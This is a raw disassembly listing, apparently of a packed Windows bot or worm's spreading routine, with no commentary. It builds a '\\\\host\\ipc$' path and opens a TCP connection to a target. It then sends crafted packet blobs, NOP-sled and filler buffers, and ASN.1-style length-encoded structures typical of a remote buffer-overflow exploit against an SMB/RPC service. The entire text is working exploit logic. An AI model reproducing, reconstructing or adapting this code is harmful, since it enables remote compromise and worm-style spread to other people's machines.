var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
Str		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	__alloca_probe
		mov	eax, ds:dword_427634
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, ds:dword_427638
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+Str]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40327F:				; CODE XREF: sub_403240+4Ej
		mov	cl, [ebp+esi+Str]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40327F
		push	60h		; Size
		lea	eax, [ebp+Dst]
		push	offset dword_4270B8 ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		shl	eax, 1
		push	eax		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	eax, [ebp+var_84]
		push	eax		; Dst
		call	_memcpy
		add	esp, 1Ch
		lea	eax, [ebp+Str]
		push	9		; Size
		push	(offset	aC_2+3)	; Src
		push	eax		; Str
		call	_strlen
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		add	al, 1Ah
		push	1		; Size
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax		; Src
		lea	eax, [ebp+var_B1]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		shl	al, 1
		add	al, 9
		push	1		; Size
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax		; Src
		lea	eax, [ebp+var_87]
		push	eax		; Dst
		call	_memcpy
		mov	ax, word ptr ds:dword_4397C0
		add	esp, 2Ch
		push	eax
		call	ds:dword_43C618	; htons
		xor	eax, 9999h
		push	2		; Size
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax		; Src
		push	offset dword_426DB8 ; Dst
		call	_memcpy
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40343C
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi		; Size
		push	90h		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_C0]
		push	4		; Size
		imul	eax, 3Ch
		lea	eax, dword_4274E0[eax]
		mov	[ebp+var_14], eax
		push	eax		; Src
		lea	eax, [ebp+var_14E0]
		push	eax		; Dst
		call	_memcpy
		mov	esi, offset Str	; "ë"
		push	esi		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_14D0]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_11AC]
		push	offset dword_427620 ; Src
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 40h
		push	esi		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_119C]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_4033F5:				; CODE XREF: sub_403240+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_4033F5
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi		; Size
		push	31h		; Val
		push	eax		; Dst
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	_memset
		push	esi		; Size
		lea	eax, [ebp+var_68DC]
		push	31h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		jmp	short loc_403493
; ---------------------------------------------------------------------------


loc_40343C:				; CODE XREF: sub_403240+118j
		push	7D0h		; Size
		lea	eax, [ebp+var_F14]
		push	90h		; Val
		push	eax		; Dst
		call	_memset
		mov	esi, offset Str	; "ë"
		push	esi		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_E74]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_10]
		push	eax		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_10]
		push	eax		; Src
		lea	eax, [ebp+var_758]
		push	eax		; Dst
		call	_memcpy
		mov	eax, ds:dword_4274E0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_403493:				; CODE XREF: sub_403240+1FAj
		push	0E29h		; Size
		lea	eax, [ebp+var_2CA8]
		push	31h		; Val
		push	eax		; Dst
		call	_memset
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4034D2


loc_4034CB:				; CODE XREF: sub_403240+2B9j
					; sub_403240+2E0j ...
		xor	al, al
		jmp	loc_40367A
; ---------------------------------------------------------------------------


loc_4034D2:				; CODE XREF: sub_403240+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43C630	; recv
		push	ebx
		push	68h
		push	offset dword_42711C
		push	edi
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034CB
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43C630	; recv
		push	ebx
		push	0A0h
		push	offset dword_427188
		push	edi
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034CB
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43C630	; recv
		cmp	[ebp+arg_C0], ebx
		jz	loc_4035E8
		push	68h		; Size
		lea	eax, [ebp+var_89B4]
		push	offset dword_427340 ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_4804]
		push	1B5Ah		; Size
		push	eax		; Src
		lea	eax, [ebp+var_894C]
		push	eax		; Dst
		call	_memcpy
		push	70h		; Size
		lea	eax, [ebp+var_68DC]
		push	offset dword_4273AC ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_3770]
		push	0A5Eh		; Size
		push	eax		; Src
		lea	eax, [ebp+var_686C]
		push	eax		; Dst
		call	_memcpy
		push	84h		; Size
		lea	eax, [ebp+var_5DA8]
		push	offset dword_427420 ; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034CB
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43C630	; recv
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40363E
; ---------------------------------------------------------------------------


loc_4035E8:				; CODE XREF: sub_403240+2F8j
		push	7Ch		; Size
		lea	eax, [ebp+var_2CA8]
		push	offset dword_42722C ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_F14]
		push	7D0h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_2C2C]
		push	eax		; Dst
		call	_memcpy
		push	90h		; Size
		lea	eax, [ebp+var_245C]
		push	offset off_4272AC ; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_40363E:				; CODE XREF: sub_403240+3A6j
		push	eax
		push	edi
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034CB
		push	12Ch
		call	ds:dword_423060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4030DF
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_40367A:				; CODE XREF: sub_403240+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403240	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_41543F
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	_memset
		add	esp, 14h
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	ds:dword_43C658	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	ds:dword_43C618	; htons
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	ds:dword_43C698	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403787
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43C5C0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_403787
		push	edi
		push	89h
		push	offset dword_426EA0
		push	ebx
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403787
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43C630	; recv
		push	edi
		push	0A8h
		push	offset dword_426F2C
		push	ebx
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403787
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43C630	; recv
		push	edi
		push	0DEh
		push	offset dword_426FD8
		push	ebx
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403787
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43C630	; recv
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_403791
		dec	eax
		jz	short loc_40378E


loc_403787:				; CODE XREF: UPX0:004036E2j
					; UPX0:004036F8j ...
		xor	eax, eax
		jmp	loc_40380E
; ---------------------------------------------------------------------------


loc_40378E:				; CODE XREF: UPX0:00403785j
		push	edi
		jmp	short loc_4037B5
; ---------------------------------------------------------------------------


loc_403791:				; CODE XREF: UPX0:00403782j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403240
		add	esp, 0C4h
		test	al, al
		jnz	short loc_4037D5
		push	1


loc_4037B5:				; CODE XREF: UPX0:0040378Fj
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403240
		add	esp, 0C4h
		test	al, al
		jz	short loc_4037DC


loc_4037D5:				; CODE XREF: UPX0:004037B1j
		mov	dword ptr [ebp-4], 1


loc_4037DC:				; CODE XREF: UPX0:004037D3j
		push	ebx
		call	ds:dword_43C6B0	; closesocket
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40380B
		lea	eax, [ebp-854h]
		push	eax
		call	sub_40BF6F
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	ds:dword_429CB8[eax]
		lea	eax, dword_429CB8[eax]


loc_40380B:				; CODE XREF: UPX0:004037E7j
		push	1
		pop	eax


loc_40380E:				; CODE XREF: UPX0:00403789j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403813	proc near		; CODE XREF: sub_403A87+Ep
					; sub_403A87+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_403813	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40381D(void	*Src,size_t Size)

sub_40381D	proc near		; CODE XREF: sub_403A87+11Ep

Src		= dword	ptr  4
Size		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+Size]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx		; Size
		call	_malloc
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40384F
		push	ebx		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		push	ebx		; Size
		push	[esp+1Ch+Src]	; Src
		push	edi		; Dst
		call	_memcpy
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40384F:				; CODE XREF: sub_40381D+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40381D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_403857(void	*Src,size_t Size,int,int)

sub_403857	proc near		; CODE XREF: sub_403951+18p
					; sub_4039CB+16p ...

Src		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+Size]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi		; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4038A3
		push	edi		; Size
		push	0		; Val
		push	esi		; Dst
		call	_memset
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	esi		; Dst
		call	_memcpy
		push	[ebp+arg_C]	; Size
		mov	eax, [ebp+Size]
		add	eax, esi
		push	[ebp+arg_8]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_4038A3:				; CODE XREF: sub_403857+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403857	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038AC	proc near		; CODE XREF: sub_403951+5Ep
					; sub_403951+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4038BC
		push	eax		; Memory
		call	_free
		pop	ecx


loc_4038BC:				; CODE XREF: sub_4038AC+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4038AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038C5	proc near		; CODE XREF: sub_403951+20p
					; sub_403A2C+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4038F2
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax		; Size
		call	_malloc
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4038F6


loc_4038F2:				; CODE XREF: sub_4038C5+Dj
		xor	al, al
		jmp	short loc_40394D
; ---------------------------------------------------------------------------


loc_4038F6:				; CODE XREF: sub_4038C5+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40391B
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_403935
; ---------------------------------------------------------------------------


loc_40391B:				; CODE XREF: sub_4038C5+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4] ; Size
		lea	eax, [edi+3]
		push	dword ptr [esi]	; Src


loc_403935:				; CODE XREF: sub_4038C5+54j
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	dword ptr [esi]	; Memory
		call	_free
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40394D:				; CODE XREF: sub_4038C5+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4038C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403951	proc near		; CODE XREF: sub_403A87+89p
					; sub_403A87+E3p ...

Src		= dword	ptr -8
Size		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+Src]
		push	dword ptr [esi+4] ; int
		push	dword ptr [esi]	; int
		push	1		; Size
		push	offset byte_4397D4 ; Src
		call	sub_403857
		lea	ecx, [ebp+Src]
		call	sub_4038C5
		mov	eax, [ebp+Size]
		inc	eax
		push	eax		; Size
		call	_malloc
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40398B
		xor	al, al
		jmp	short loc_4039C7
; ---------------------------------------------------------------------------


loc_40398B:				; CODE XREF: sub_403951+34j
		mov	eax, [ebp+Size]
		inc	eax
		push	eax		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		mov	byte ptr [edi],	3
		push	[ebp+Size]	; Size
		lea	eax, [edi+1]
		push	[ebp+Src]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 18h
		mov	ecx, esi
		call	sub_4038AC
		mov	eax, [ebp+Size]
		lea	ecx, [ebp+Src]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4038AC
		mov	al, 1


loc_4039C7:				; CODE XREF: sub_403951+38j
		pop	edi
		pop	esi
		leave
		retn
sub_403951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039CB	proc near		; CODE XREF: sub_4039FF+14p
					; sub_403A1C+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]	; int
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]	; int
		push	dword ptr [esi+4] ; Size
		push	dword ptr [esi]	; Src
		call	sub_403857
		mov	ecx, esi
		call	sub_4038AC
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_4039CB	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_4039FF(char	*Str)

sub_4039FF	proc near		; CODE XREF: sub_403A87+F0p
					; sub_403A87+15Bp ...

Str		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+Str]	; Str
		call	_strlen
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+Str]
		call	sub_4039CB
		pop	esi
		retn	4
sub_4039FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A1C	proc near		; CODE XREF: sub_403A68+Bp
					; sub_403A87+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4039CB
		retn	8
sub_403A1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A2C	proc near		; CODE XREF: sub_403A68+16p
					; sub_403A87+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_4038C5
		test	al, al
		jz	short loc_403A65
		push	dword ptr [esi+4] ; int
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]	; int
		push	1		; Size
		push	(offset	loc_4279A7+1) ;	Src
		call	sub_403857
		mov	ecx, esi
		call	sub_4038AC
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_403A65:				; CODE XREF: sub_403A2C+Fj
		pop	esi
		leave
		retn
sub_403A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A68	proc near		; CODE XREF: sub_403A87+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_403A1C
		test	al, al
		jz	short loc_403A83
		mov	ecx, esi
		call	sub_403A2C


loc_403A83:				; CODE XREF: sub_403A68+12j
		pop	esi
		retn	8
sub_403A68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A87	proc near		; CODE XREF: UPX0:0040430Cp

Dst		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_403813
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_403DDB
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_403DDB
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_403813
		lea	ecx, [ebp+var_20]
		call	sub_403813
		lea	ecx, [ebp+var_50]
		call	sub_403813
		lea	ecx, [ebp+var_18]
		call	sub_403813
		lea	ecx, [ebp+var_40]
		call	sub_403813
		lea	ecx, [ebp+var_38]
		call	sub_403813
		lea	ecx, [ebp+var_28]
		call	sub_403813
		push	4
		push	offset dword_427648
		lea	ecx, [ebp+var_30]
		call	sub_4039CB
		push	3
		push	offset dword_427650
		lea	ecx, [ebp+var_30]
		call	sub_4039CB
		lea	ecx, [ebp+var_30]
		call	sub_403951
		lea	ecx, [ebp+var_30]
		call	sub_403A2C
		mov	esi, 800h
		lea	eax, [ebp+Dst]
		push	esi		; Size
		push	42h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_42763C
		call	sub_4039CB
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_4039CB
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4039CB
		lea	ecx, [ebp+var_20]
		call	sub_403951
		push	offset loc_4279D0 ; Str
		lea	ecx, [ebp+var_50]
		call	sub_4039FF
		lea	ecx, [ebp+var_50]
		call	sub_403951
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	44h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		lea	ecx, [ebp+var_58]
		push	410h		; Size
		push	eax		; Src
		call	sub_40381D
		lea	ecx, [ebp+var_58]
		call	sub_403951
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_403A68
		lea	ecx, [ebp+var_58]
		call	sub_4038AC
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	43h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_4039FF
		push	4
		push	offset dword_427654
		lea	ecx, [ebp+var_18]
		call	sub_4039CB
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_4039CB
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+Dst]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4039CB
		lea	ecx, [ebp+var_18]
		call	sub_403951
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_403A1C
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_403A1C
		lea	ecx, [ebp+var_40]
		call	sub_403A2C
		lea	ecx, [ebp+var_18]
		call	sub_4038AC
		lea	ecx, [ebp+var_50]
		call	sub_4038AC
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_403A1C
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_403A1C
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_403A1C
		lea	ecx, [ebp+var_38]
		call	sub_403A2C
		lea	ecx, [ebp+var_20]
		call	sub_4038AC
		lea	ecx, [ebp+var_30]
		call	sub_4038AC
		lea	ecx, [ebp+var_40]
		call	sub_4038AC
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	41h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_4039CB
		lea	ecx, [ebp+var_28]
		call	sub_403951
		push	2
		push	offset dword_4279C4
		lea	ecx, [ebp+var_28]
		call	sub_4039CB
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_403A1C
		lea	ecx, [ebp+var_28]
		call	sub_403A2C
		lea	ecx, [ebp+var_38]
		call	sub_4038AC
		lea	ecx, [ebp+var_10]
		call	sub_403813
		lea	ecx, [ebp+var_8]
		call	sub_403813
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_403A1C
		lea	ecx, [ebp+var_10]
		call	sub_4038C5
		lea	ecx, [ebp+var_28]
		call	sub_4038AC
		push	offset dword_4279C0 ; Str
		lea	ecx, [ebp+var_8]
		call	sub_4039FF
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A1C
		lea	ecx, [ebp+var_8]
		call	sub_4038C5
		lea	ecx, [ebp+var_10]
		call	sub_4038AC
		push	offset dword_4279BC ; Str
		lea	ecx, [ebp+var_10]
		call	sub_4039FF
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_403A1C
		lea	ecx, [ebp+var_10]
		call	sub_4038C5
		lea	ecx, [ebp+var_8]
		call	sub_4038AC
		push	offset dword_4279B0 ; Str
		lea	ecx, [ebp+var_8]
		call	sub_4039FF
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A1C
		lea	ecx, [ebp+var_8]
		call	sub_4038C5
		lea	ecx, [ebp+var_10]
		call	sub_4038AC
		push	offset dword_4279AC ; Str
		lea	ecx, [ebp+var_48]
		call	sub_4039FF
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_403A1C
		lea	ecx, [ebp+var_8]
		call	sub_4038AC
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_403DE9
; ---------------------------------------------------------------------------


loc_403DDB:				; CODE XREF: sub_403A87+1Bj
					; sub_403A87+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_403DE9:				; CODE XREF: sub_403A87+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_403A87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DED	proc near		; CODE XREF: sub_403EB1+A1p
					; sub_403EB1+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_42320C	; select
		cmp	eax, edi
		jnz	short loc_403E54
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
